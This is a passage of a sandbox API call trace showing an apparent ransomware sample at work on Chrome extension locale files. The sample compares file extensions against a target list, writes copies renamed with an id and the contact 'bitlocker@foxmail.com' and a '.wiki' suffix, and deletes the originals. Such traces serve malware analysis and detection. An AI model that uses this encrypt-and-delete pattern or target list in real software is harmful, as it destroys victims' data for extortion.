[0174.277] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.277] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.277] lstrlenW (lpString=".doc") returned 4 [0174.277] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.277] lstrlenW (lpString=".docx") returned 5 [0174.277] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.277] lstrlenW (lpString=".pdf") returned 4 [0174.277] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.277] lstrlenW (lpString=".xls") returned 4 [0174.277] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.277] lstrlenW (lpString=".xlsx") returned 5 [0174.277] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.277] lstrlenW (lpString=".ppt") returned 4 [0174.277] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.277] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.277] lstrlenW (lpString=".zip") returned 4 [0174.277] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.277] lstrlenW (lpString=".rar") returned 4 [0174.277] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.278] lstrlenW (lpString=".bz2") returned 4 [0174.278] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.278] lstrlenW (lpString=".7z") returned 3 [0174.278] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.278] lstrlenW (lpString=".dbf") returned 4 [0174.278] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.278] lstrlenW (lpString=".1cd") returned 4 [0174.278] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.278] lstrlenW (lpString=".jpg") returned 4 [0174.278] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.278] lstrlenW (lpString=".doc") returned 4 [0174.278] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.278] lstrlenW (lpString=".docx") returned 5 [0174.278] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.278] lstrlenW (lpString=".pdf") returned 4 [0174.278] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.278] lstrlenW (lpString=".xls") returned 4 [0174.278] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.278] lstrlenW (lpString=".xlsx") returned 5 [0174.278] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.278] lstrlenW (lpString=".ppt") returned 4 [0174.278] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.278] lstrlenW (lpString=".zip") returned 4 [0174.278] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.279] lstrlenW (lpString=".rar") returned 4 [0174.279] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.279] lstrlenW (lpString=".bz2") returned 4 [0174.279] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.279] lstrlenW (lpString=".7z") returned 3 [0174.279] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.279] lstrlenW (lpString=".dbf") returned 4 [0174.279] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.279] lstrlenW (lpString=".1cd") returned 4 [0174.279] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 153 [0174.279] lstrlenW (lpString=".jpg") returned 4 [0174.279] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.279] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.279] lstrlenW (lpString="messages.json") returned 13 [0174.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.280] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=179) returned 1 [0174.280] CloseHandle (hObject=0x334) returned 1 [0174.280] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json")) returned 0x2020 [0174.280] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.280] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.280] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.281] GetLastError () returned 0x0 [0174.281] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.282] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.282] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.282] WriteFile (in: hFile=0x1b4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.283] SetEndOfFile (hFile=0x1b4) returned 1 [0174.283] CloseHandle (hObject=0x1b4) returned 1 [0174.283] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.283] SetEndOfFile (hFile=0x334) returned 1 [0174.284] CloseHandle (hObject=0x334) returned 1 [0174.284] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.284] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json")) returned 1 [0174.284] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.284] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.284] lstrlenW (lpString=".doc") returned 4 [0174.284] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.284] lstrlenW (lpString=".docx") returned 5 [0174.284] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.284] lstrlenW (lpString=".pdf") returned 4 [0174.284] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.284] lstrlenW (lpString=".xls") returned 4 [0174.284] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.284] lstrlenW (lpString=".xlsx") returned 5 [0174.284] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.284] lstrlenW (lpString=".ppt") returned 4 [0174.284] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.555] lstrlenW (lpString=".zip") returned 4 [0174.555] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.555] lstrlenW (lpString=".rar") returned 4 [0174.555] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.555] lstrlenW (lpString=".bz2") returned 4 [0174.555] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.555] lstrlenW (lpString=".7z") returned 3 [0174.555] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.555] lstrlenW (lpString=".dbf") returned 4 [0174.555] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.555] lstrlenW (lpString=".1cd") returned 4 [0174.555] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.555] lstrlenW (lpString=".jpg") returned 4 [0174.555] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.555] lstrlenW (lpString=".doc") returned 4 [0174.555] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.556] lstrlenW (lpString=".docx") returned 5 [0174.556] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.556] lstrlenW (lpString=".pdf") returned 4 [0174.556] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.556] lstrlenW (lpString=".xls") returned 4 [0174.556] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.556] lstrlenW (lpString=".xlsx") returned 5 [0174.556] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.556] lstrlenW (lpString=".ppt") returned 4 [0174.556] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.556] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.556] lstrlenW (lpString=".zip") returned 4 [0174.556] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.556] lstrlenW (lpString=".rar") returned 4 [0174.556] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.556] lstrlenW (lpString=".bz2") returned 4 [0174.556] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.556] lstrlenW (lpString=".7z") returned 3 [0174.556] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.556] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.556] lstrlenW (lpString=".dbf") returned 4 [0174.556] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.556] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.556] lstrlenW (lpString=".1cd") returned 4 [0174.556] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.556] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 153 [0174.556] lstrlenW (lpString=".jpg") returned 4 [0174.557] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.557] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.557] lstrlenW (lpString="messages.json") returned 13 [0174.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.557] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=179) returned 1 [0174.557] CloseHandle (hObject=0x1a0) returned 1 [0174.557] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0174.558] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.558] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.558] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0174.559] GetLastError () returned 0x0 [0174.559] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.560] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.560] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.561] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.561] SetEndOfFile (hFile=0x1a4) returned 1 [0174.561] CloseHandle (hObject=0x1a4) returned 1 [0174.561] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.561] SetEndOfFile (hFile=0x1a0) returned 1 [0174.562] CloseHandle (hObject=0x1a0) returned 1 [0174.562] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.562] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json")) returned 1 [0174.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.562] lstrlenW (lpString=".doc") returned 4 [0174.562] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.562] lstrlenW (lpString=".docx") returned 5 [0174.562] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.562] lstrlenW (lpString=".pdf") returned 4 [0174.562] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.562] lstrlenW (lpString=".xls") returned 4 [0174.562] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.563] lstrlenW (lpString=".xlsx") returned 5 [0174.563] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.563] lstrlenW (lpString=".ppt") returned 4 [0174.563] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.563] lstrlenW (lpString=".zip") returned 4 [0174.563] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.563] lstrlenW (lpString=".rar") returned 4 [0174.563] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.563] lstrlenW (lpString=".bz2") returned 4 [0174.563] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.563] lstrlenW (lpString=".7z") returned 3 [0174.563] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.563] lstrlenW (lpString=".dbf") returned 4 [0174.563] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.563] lstrlenW (lpString=".1cd") returned 4 [0174.563] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.563] lstrlenW (lpString=".jpg") returned 4 [0174.563] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 156 [0174.563] lstrlenW (lpString=".doc") returned 4 [0174.563] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 